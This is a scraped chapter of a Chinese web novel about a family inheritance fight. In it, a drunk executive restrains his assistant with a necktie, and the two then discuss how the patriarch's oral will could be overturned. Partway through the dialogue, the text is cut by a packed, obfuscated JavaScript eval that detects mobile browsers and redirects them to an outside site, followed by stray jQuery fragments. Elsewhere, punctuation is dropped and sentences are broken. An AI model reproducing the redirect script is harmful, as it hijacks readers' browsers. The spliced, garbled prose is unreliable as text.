肱骨之臣黄铜左轮

第 20 章 看来谁都还没赢到...

冯敛臣身体一瞬间紧绷,又松弛下来。他往回抽自己的胳膊,但他一动,谭仕章就像对待犯人一样,抓住他另一只手腕,控制住他所有行动能力。还是喝多了。


谭仕章垂着脑袋,盯着冯敛臣看。


他头脑是有理智的,还能思考,但是酒精在血管里发酵,将人情绪和感受无限放大。


谭仕章的声音和语调听起来和清醒时无二,却又像哪里失真,沙哑阴沉,暗藏威胁。


冯敛臣平静地说:“劳驾您别压着我。


谭仕章的手松了一下,呼吸里还带着点酒意。


他趁机扭脱出来,谭仕章却反应极快,电光火石之间,像扑食的野兽,更用力地按住他。


冯敛臣体格瘦削,谭仕章压在他上方,挡住背后光源,整个人的阴影几乎将他笼罩进去。


再想挣扎,直接被掀翻过去。谭仕章两只手撑着床面,膝盖抵住他的后心,这已经是很强硬野蛮的征服的姿态,毫不客气,压制住受控者所有反抗的可能性。


冯敛臣两条胳膊被扭在身后,他侧过脸,看见谭仕章扯下了领带。


手腕一紧,他放弃了挣扎。冯敛臣闭着眼,推搡中他的眼镜歪了,从鼻梁上滑落。


谭仕章再嚣张总不至于在一个法治社会平白上演毁尸灭迹,但冯敛臣并不想因为跟喝多的上司打架上第二天新闻头条。何况,想也没用,武力上他不占优势,现在是人为刀俎。


他放低声音,直接说重点:“月仙总想要推翻老谭董那条口头遗嘱。


谭仕章意义不明地笑了笑。


他终于把膝盖撤下去,冯敛臣坐起身,垂眸看着床单:“眼镜。


谭仕章“噢了一声,捡起来看看:“没坏。


他退开半步,站在床边,将镜腿仔细折叠起来,放到床头柜上,又拖了把椅子过来。


然后谭仕章岔着两腿,大马金刀倒坐着,对着冯敛臣,两条胳膊叠着,搭在椅背上。


冯敛臣跟他面对面,坐在床边,胳膊还绑在身后,动弹不得,他暗暗蹭着,试图解开。


谭仕章抱着椅背,并不意外,低声笑了一下:“看来姑姑同样是想上位的。


冯敛臣道:“她也是有继承资格的,不管是在能力上还是法律上。


谭仕章点头同意,他当然是很懂继承法的:“如果不是遗嘱分配,只按法律规定,子女才是第一顺位继承人。孙子女其实——连法定的继承人都不是。就像他和谭皓阳。


“不过很多人其实忽视了月


仙总总觉得她是女人谭氏默认没有她的份。”


“确实是。”谭仕章说“不过我无所谓争家产这种事本来都不讲什么兄友弟恭了我和谭皓阳都闹得蛮难看的谁规定她一定会谦让呢?无非大家八仙过海各凭本事吧。”


谭氏无主大部分人都将目光放在大公子和二公子身上等着看鹿死谁手。


但是螳螂捕蝉黄雀在后其实不该忘了谭儒除了两个孙子还有谭月仙这个亲生女儿。


当然不怪别人不往这上面想主要还是因为谭儒本身。老爷子思想保守大男子主义旧时的凤翔金楼从来就是传男不传女的规矩根深蒂固活了大半辈子很难轻易改变。


何况谭月仙未曾结婚连个上门女婿都没有招过膝下更无继承谭姓的一儿半女。


要说她这个小女儿完全不受宠也并非如此谭月仙手里有不少从母亲闵丽华手里继承的集团股份可保她衣食无忧想要奋斗事业也对公司有一定的话语权和决策权。


只是思想上的桎梏最难打破谭儒没考虑过将女儿加入真正的继承人名单。


但又好在法律还是公平的不论男女——


如果那份将鸿儒投资的股份全盘留给谭皓阳的遗嘱不成立按照继承顺序谭月仙将直接成为最大的、唯一的受益人。届时董事会成员选谁当新领头人可能真要再好好想一想。


“这么说来姑姑打算怎么推翻遗嘱?”谭仕章微笑“并且看来是不怕我提前知道的。”


“是可以提前告诉您的。”冯敛臣说“之前宣读遗嘱时赵律师解释过老谭董在病危期间立口头遗嘱属于濒临死亡的危急情况。不过根据法律规定如果这个危急情况解除之后他有机会通过书面或者录音进行确认、却没这么做的话这个口头遗嘱会自动失效。”


谭仕章回想:“这么说爷爷在iCu的时候有过可以重新确认遗嘱的机会?”


“算是。可以这么说。”


“爷爷一共在iCu只待了两天走得很快。他当时的危急情况应该是从头持续到尾的。”


“但他确实有过确认遗嘱的机会是他拒绝了。iCu一般不许家属探视所以当时你们都在外面等着按照他的要求只把我和赵律师叫了进去。我们两个穿着隔离服听老谭董口头陈述遗嘱的内容


“但连赵律师都不知道的是其实晚些时候我单独又进去探视过老谭董一次。至少在那半个


小时,他的精神不错,能够表达意愿。我问他要不要录一下音,我是带着录音笔进去的,并且已经准备好纸质遗嘱文件,只需要他亲笔签个名字。他翻了翻,都说先不用了。


谭仕章高深莫测地望住他,手指轻轻敲着椅背。


“我了解冯助,你说的我是信的。他说,“当然,谭皓阳愿不愿意相信就是另一回事了。他的律师大概会咬住‘危急情况’这点做文章,如果上了法庭,光这个都够扯皮半年的。


“是这样没错。冯敛臣闭了闭眼,“不过我可以作证——老谭董当时的的确确改过主意。就在我问他要不要录音或签字的时候,他清楚明白地说了一句,他需要再想一想。


谭仕章突然起了身,活动一下,重新走回到床边。大床是欧式的,四根雕花床柱,挑着高耸的床幔。谭仕章靠在了床脚那根柱子上,他离冯敛臣又近了些,两人之间距离不过一米。


四目相对,仿佛穿过重重谜障。


冯敛臣抬头回视他:“他那时候可能觉得自己能好起来,可能是想再琢磨一下,那样的分配方式对于你和皓阳总、对于集团发展,究竟妥还是不妥,或者还有什么其他考量,这点已经无从得知了。我能作证的只是自己亲眼所见的真实情况,至于那句再想想的话,病房里的护士也是听到的,像我很早之前说过的,把她们找出来会费点功夫,但不是


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15877189|174945||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


不可能做到。


如此一来,就算那条口头遗嘱不能被判失效,谭月仙的律师也可以抓住这点,找到足数的见证人,将谭儒最后留下的话当做他的真实意愿表达,推翻前一条遗嘱——思路总是有的。


谭仕章倚在柱子上,听完这些,表情却还平静,甚至似笑非笑,看不出波动剧烈的迹象。


当然,毕竟更该大起大落的是谭皓阳才是。不管那条口头遗嘱有效还是无效,胜利者要么是谭皓阳,要么是谭月仙——本来好事都不会落到谭仕章头上。


窗外有风,枝叶摇晃,窸窸窣窣地打到玻璃上。


夜色之中,一切影影绰绰,有些东西的轮廓却慢慢分明起来。


所以谭月仙明天想要私下约见谭仕章,这个目的已经很好猜了,呼之欲出。


一方面,在没有人知道的时候,她和谭皓阳已成了竞争关系,但不保证十拿九稳可以赢。


另一方面,谭仕章是本来就没有希望的输家,左右没有更多可以损失。他与谭皓阳向来水火难容,此时如果谭月仙愿意示好,能赢得这个侄子的支持,那么谭皓阳的胜算会更小。


谭仕章双手


环胸:“不容易,冯助,难为你保守了这么久的秘密。”


冯敛臣诚实地说:“这件事我不是独自保守秘密,月仙总从一开始就清楚的。我在第二次探望之后,就把老谭董的话原样告诉了她,她的意思是希望我暂时不透漏给别人。”


谭仕章认同:“我想也是,你不可能自己按下这么大的事情——就算按下了,恐怕永远绝对不会再翻出来。她是爷爷的女儿,关系最近的直系亲属,你会第一个跟她讲是应该的。”


“至于后来瞒着到现在都没公开,是因为月仙总当时还不确定有多少人会支持她。那时候大家都觉得皓阳总的希望最大,呼声最高,突然出面质疑那个口头遗嘱无效,肯定会闹得不可开交,她担心在没有准备的情况下,一下变成众矢之的。她不光有胆识,也很有野心。”


“哈,我当然知道。什么因为前男友跟爸爸几十年关系僵硬,瞎扯,都凉多少年了,老惦记个男人干什么?传得有鼻子有眼的。她那时就是因为老爷子总说女孩子家家的,没必要那么拼,后面就做到个集团副总,再往上走不动了,不肯让她当总裁。你以为她会甘心?”


却有沉默短暂地在他们之间降临。


冯敛臣叹气:“至于这段时间,刻意把您也瞒着,我是应该道歉的。”


谭仕章乜他:“不,我能理解。你么,反正既没把我真的当上司,也从来没真的信任我。”


冯敛臣终于在背后把领带扯松了,他面上不显,半个手臂是麻的,心头莫名却浮现谭皓阳跟他翻脸的场景。对方一条条数落他的罪名,就包括守口如瓶、没有透漏一个字的遗嘱。


谭仕章笑了一下:“冯助,我是真的可以理解啊,你原本只跟着爷爷一个,这么多年,像他的左膀右臂,但是爷爷一去世,我看你这主心骨也一下落空了,姑姑、我、谭皓阳,我们三个对你来说,是不是都像无根的浮岛一样,看来谁都还没赢到你效忠呢。”


作者有话要说